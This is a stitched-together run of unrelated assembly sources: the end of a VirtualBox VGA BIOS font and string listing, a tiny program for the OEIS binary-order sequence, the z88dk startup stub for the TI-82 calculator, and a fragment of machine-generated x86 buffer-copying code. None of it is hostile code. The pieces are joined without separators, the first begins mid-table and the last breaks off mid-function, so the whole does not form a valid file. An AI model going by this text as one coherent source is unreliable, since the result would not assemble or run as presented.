000h, 000h, 000h, 000h, 000h, 0feh, 006h, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh, 000h, 000h db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h, 006h, 000h, 000h db 000h, 000h, 018h, 018h, 000h, 018h, 018h, 018h, 03ch, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h, 000h db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 078h, 0cch, 0cch, 0cch, 0d8h, 0cch, 0c6h, 0c6h, 0c6h, 0cch, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c6h, 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h db 000h, 000h, 01eh, 030h, 018h, 00ch, 03eh, 066h, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh, 0dbh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h, 0c0h, 000h, 000h, 000h, 000h db 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 060h, 030h, 01ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 00fh, 00ch, 00ch, 00ch, 00ch, 00ch, 0ech, 06ch, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h db 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont14alt: ; 0xc79ec LB 0x12d db 01dh, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 022h db 000h, 063h, 063h, 063h, 022h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02bh, 000h db 000h, 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 02dh, 000h, 000h db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04dh, 000h, 000h, 0c3h db 0e7h, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh db 099h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h db 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h db 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h db 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 061h db 0c3h, 0ffh, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh db 0dbh, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h db 000h, 000h, 091h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h db 000h, 09bh, 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h db 09dh, 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 000h, 000h, 000h, 09eh db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 0f3h, 000h, 000h, 000h, 0f1h, 000h db 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 0ffh, 000h, 000h, 000h, 0f6h, 000h, 000h db 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h _vgafont16alt: ; 0xc7b19 LB 0x145 db 01dh, 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h db 000h, 030h, 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h db 000h, 000h, 04dh, 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h db 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch db 000h, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch db 018h, 000h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh db 066h, 066h, 000h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch db 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h db 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h db 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h db 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h db 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h, 078h, 000h, 000h, 000h db 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h, 091h, 000h, 000h db 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h, 09bh, 000h db 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 09dh db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 09eh, 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h db 000h, 0abh, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh db 000h, 000h, 0ach, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h db 006h, 000h, 000h, 000h, 000h _vbebios_copyright: ; 0xc7c5e LB 0x15 db 'VirtualBox VESA BIOS', 000h _vbebios_vendor_name: ; 0xc7c73 LB 0x13 db 'Oracle Corporation', 000h _vbebios_product_name: ; 0xc7c86 LB 0x21 db 'Oracle VM VirtualBox VBE Adapter', 000h _vbebios_product_revision: ; 0xc7ca7 LB 0x23 db 'Oracle VM VirtualBox Version 5.0.0', 000h _vbebios_info_string: ; 0xc7cca LB 0x2b db 'VirtualBox VBE Display Adapter enabled', 00dh, 00ah, 00dh, 00ah, 000h _no_vbebios_info_string: ; 0xc7cf5 LB 0x29 db 'No VirtualBox VBE support available!', 00dh, 00ah, 00dh, 00ah, 000h section CONST progbits vstart=0x7d1e align=1 ; size=0x0 class=DATA group=DGROUP section CONST2 progbits vstart=0x7d1e align=1 ; size=0x0 class=DATA group=DGROUP ; Padding 0x2e2 bytes at 0xc7d1e db 001h, 000h, 000h, 000h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 02fh, 068h, 06fh, 06dh db 065h, 02fh, 066h, 06dh, 033h, 02fh, 073h, 072h, 063h, 02fh, 076h, 062h, 06fh, 078h, 02fh, 06fh db 075h, 074h, 02fh, 06ch, 069h, 06eh, 075h, 078h, 02eh, 061h, 06dh, 064h, 036h, 034h, 02fh, 072h db 065h, 06ch, 065h, 061h, 073h, 065h, 02fh, 06fh, 062h, 06ah, 02fh, 056h, 042h, 06fh, 078h, 056h db 067h, 061h, 042h, 069h, 06fh, 073h, 02fh, 056h, 042h, 06fh, 078h, 056h, 067h, 061h, 042h, 069h db 06fh, 073h, 02eh, 073h, 079h, 06dh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 082h
; A029837: Binary order of n: log_2(n) rounded up to next integer. ; 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 mul $0,2 add $0,1 log $0,2 mov $1,$0
; Stub for the TI 82 calculator ; ; Stefano Bodrato - Dec 2000 ; ; $Id: ti82_crt0.asm,v 1.21 2009/06/22 21:20:05 dom Exp $ ; ;----------------------------------------------------- ; Some general XDEFs and XREFs needed by the assembler ;----------------------------------------------------- MODULE Ti82_crt0 XREF _main ; No matter what set up we have, main is ; always, always external to this file. XDEF cleanup ; used by exit() XDEF l_dcal ; used by calculated calls = "call (hl)" XDEF _vfprintf ; vprintf is internal to this file so we ; only ever include one of the set of ; routines XDEF exitsp ; Exit variables XDEF exitcount ; XDEF heaplast ;Near malloc heap variables XDEF heapblocks XDEF __sgoioblk ; For stdin, stdout, stder XDEF base_graphics ; Graphics stuff XDEF coords ; XDEF cpygraph ; TI calc specific stuff XDEF tidi ; XDEF tiei ; ;------------------------- ; Begin of (shell) headers ;------------------------- INCLUDE "Ti82.def" ; ROM / RAM adresses on Ti82 INCLUDE "zcc_opt.def" ; Receive all compiler-defines ;OS82Head: ; defb $FE,$82,$0F ; ;AshHead: ; defb $D9,$00,$20 ; ;CrASHhead: ; defb $D5,$00,$11 ;------------------- ;1 - CrASH (default) ;------------------- org START_ADDR-3 DEFB $D5,$00,$11 ; org START_ADDR DEFINE NEED_name INCLUDE "zcc_opt.def" UNDEFINE NEED_name IF !DEFINED_NEED_name defm "Z88DK Small C+ Program" ENDIF defb $0 ; Termination zero ;------------------------------------- ; End of header, begin of startup part ;------------------------------------- start: ld hl,0 add hl,sp ld (start1+1),hl IF !DEFINED_atexit ; Less stack use ld hl,-6 ; 3 pointers (more likely value) add hl,sp ld sp,hl ld (exitsp),sp ELSE ld hl,-64 ; 32 pointers (ANSI standard) add hl,sp ld sp,hl ld (exitsp),sp ENDIF LIB fputc_cons ld hl,12 push hl call fputc_cons pop hl IF DEFINED_GRAYlib INCLUDE "gray82.asm" ELSE INCLUDE "intwrap82.asm" ENDIF im 2 call _main cleanup: ; exit() jumps to this point start1: ld sp,0 ; writeback ld iy,_IY_TABLE ; Restore flag-pointer im 1 tiei: ei IF DEFINED_GRAYlib cpygraph: ; little opt :) ENDIF tidi: ret ;---------------------------------------- ; End of startup part, routines following ;---------------------------------------- l_dcal: jp (hl) ;----------- ; Define the stdin/out/err area. For the z88 we have two models - the ; classic (kludgey) one and "ANSI" model ;----------- __sgoioblk: IF DEFINED_ANSIstdio INCLUDE "stdio_fp.asm" ELSE defw -11,-12,-10 ENDIF ;--------------------------------- ; Select which printf core we want ;--------------------------------- _vfprintf: IF DEFINED_floatstdio LIB vfprintf_fp jp vfprintf_fp ELSE IF DEFINED_complexstdio LIB vfprintf_comp jp vfprintf_comp ELSE IF DEFINED_ministdio LIB vfprintf_mini jp vfprintf_mini ENDIF ENDIF ENDIF ;Seed for integer rand() routines IF !DEFINED_HAVESEED XDEF _std_seed ;Integer rand() seed _std_seed: defw 0 ; Seed for integer rand() routines ENDIF ;Atexit routine exitsp: defw 0 exitcount: defb 0 ;Heap stuff (already needed?) heaplast: defw 0 heapblocks: defw 0 ;mem stuff base_graphics: defw GRAPH_MEM coords: defw 0 IF !DEFINED_GRAYlib defc cpygraph = CR_GRBCopy ; CrASH FastCopy ENDIF IF NEED_floatpack INCLUDE "float.asm" ;seed for random number generator - not used yet.. fp_seed: defb $80,$80,0,0,0,0 ;Floating point registers... extra: defs 6 fa: defs 6 fasign: defb 0 ENDIF
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x7e7f, %r11 nop cmp $58720, %r9 movups (%r11), %xmm1 vpextrq $1, %xmm1, %r13 nop nop nop nop add %r15, %r15 lea addresses_D_ht+0x1cc24, %rdx sub %r9, %r9 mov $0x6162636465666768, %rbp movq %rbp, (%rdx) nop nop nop nop nop xor $5732, %r13 lea addresses_A_ht+0x1407f, %r11 nop add $35303, %r9 movw $0x6162, (%r11) nop nop nop nop cmp $55695, %r13 lea addresses_UC_ht+0xbd7f, %rsi lea addresses_WT_ht+0x13b7f, %rdi nop nop nop nop nop and $42145, %r11 mov $89, %rcx rep movsl nop nop nop nop nop dec %r9 lea addresses_A_ht+0x11575, %rsi lea addresses_WC_ht+0x1e4ff, %rdi nop nop nop nop 